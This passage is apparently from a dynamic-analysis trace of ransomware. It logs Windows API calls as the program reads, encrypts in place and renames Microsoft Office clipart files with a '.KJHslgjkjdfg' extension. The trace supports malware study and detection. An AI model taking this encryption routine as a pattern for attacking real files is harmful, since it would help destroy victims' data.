lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x73b0, lpOverlapped=0x0) returned 1 [0179.091] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.091] SetEndOfFile (hFile=0x114) returned 1 [0179.094] GetProcessHeap () returned 0x2a0000 [0179.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.094] GetProcessHeap () returned 0x2a0000 [0179.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188669.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188669.wmf.kjhslgjkjdfg")) returned 1 [0179.096] CloseHandle (hObject=0x114) returned 1 [0179.096] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x336a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188679.WMF", cAlternateFileName="")) returned 1 [0179.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.097] GetProcessHeap () returned 0x2a0000 [0179.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.097] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0179.100] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.100] GetProcessHeap () returned 0x2a0000 [0179.100] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.100] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.100] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.100] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.100] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.100] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.101] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.101] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.101] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.101] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x336a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x336a, lpOverlapped=0x0) returned 1 [0179.102] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3370, dwBufLen=0x3370 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3370) returned 1 [0179.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.102] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3370, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3370, lpOverlapped=0x0) returned 1 [0179.102] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.102] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.103] SetEndOfFile (hFile=0x114) returned 1 [0179.105] GetProcessHeap () returned 0x2a0000 [0179.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.105] GetProcessHeap () returned 0x2a0000 [0179.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.kjhslgjkjdfg")) returned 1 [0179.107] CloseHandle (hObject=0x114) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ca4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195248.WMF", cAlternateFileName="")) returned 1 [0179.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.107] GetProcessHeap () returned 0x2a0000 [0179.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.107] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.107] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0179.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.110] GetProcessHeap () returned 0x2a0000 [0179.110] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.110] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.110] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.110] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.110] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.110] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.110] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.110] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.110] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.110] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.110] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1ca4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1ca4, lpOverlapped=0x0) returned 1 [0179.111] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0, dwBufLen=0x1cb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1cb0) returned 1 [0179.111] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.111] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1cb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1cb0, lpOverlapped=0x0) returned 1 [0179.112] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.112] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.112] SetEndOfFile (hFile=0x114) returned 1 [0179.114] GetProcessHeap () returned 0x2a0000 [0179.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.114] GetProcessHeap () returned 0x2a0000 [0179.114] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.kjhslgjkjdfg")) returned 1 [0179.115] CloseHandle (hObject=0x114) returned 1 [0179.116] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81dcbf00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81dcbf00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195254.WMF", cAlternateFileName="")) returned 1 [0179.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.116] GetProcessHeap () returned 0x2a0000 [0179.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.117] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0179.122] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.122] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.122] GetProcessHeap () returned 0x2a0000 [0179.122] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.122] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.122] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.122] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.122] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.122] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.122] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.122] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.123] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.123] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.123] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.123] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11b6, lpOverlapped=0x0) returned 1 [0179.123] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11c0) returned 1 [0179.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.124] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11c0, lpOverlapped=0x0) returned 1 [0179.124] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.124] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.124] SetEndOfFile (hFile=0x114) returned 1 [0179.126] GetProcessHeap () returned 0x2a0000 [0179.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.126] GetProcessHeap () returned 0x2a0000 [0179.126] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.kjhslgjkjdfg")) returned 1 [0179.127] CloseHandle (hObject=0x114) returned 1 [0179.128] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0179.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0179.128] GetProcessHeap () returned 0x2a0000 [0179.128] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0179.128] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0179.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0179.129] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0179.131] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.131] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.131] GetProcessHeap () returned 0x2a0000 [0179.131] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0179.131] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0179.131] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.131] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0179.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0179.132] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0179.132] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0179.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0179.132] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0179.132] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0179.132] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0179.132] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.132] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x207a, lpOverlapped=0x0) returned 1 [0179.133] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2080, dwBufLen=0x2080 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2080) returned 1 [0179.133] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.134] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2080, lpOverlapped=0x0) returned 1 [0179.134] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0179.134] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.134] SetEndOfFile (hFile=0x114) returned 1 [0179.137] GetProcessHeap () returned 0x2a0000 [0179.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0179.137] GetProcessHeap () returned 0x2a0000 [0179.137] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0179.137] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.kjhslgjkjdfg")) returned 1 [0179.138] CloseHandle (hObject=0x114) returned 1 [0179.138] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, 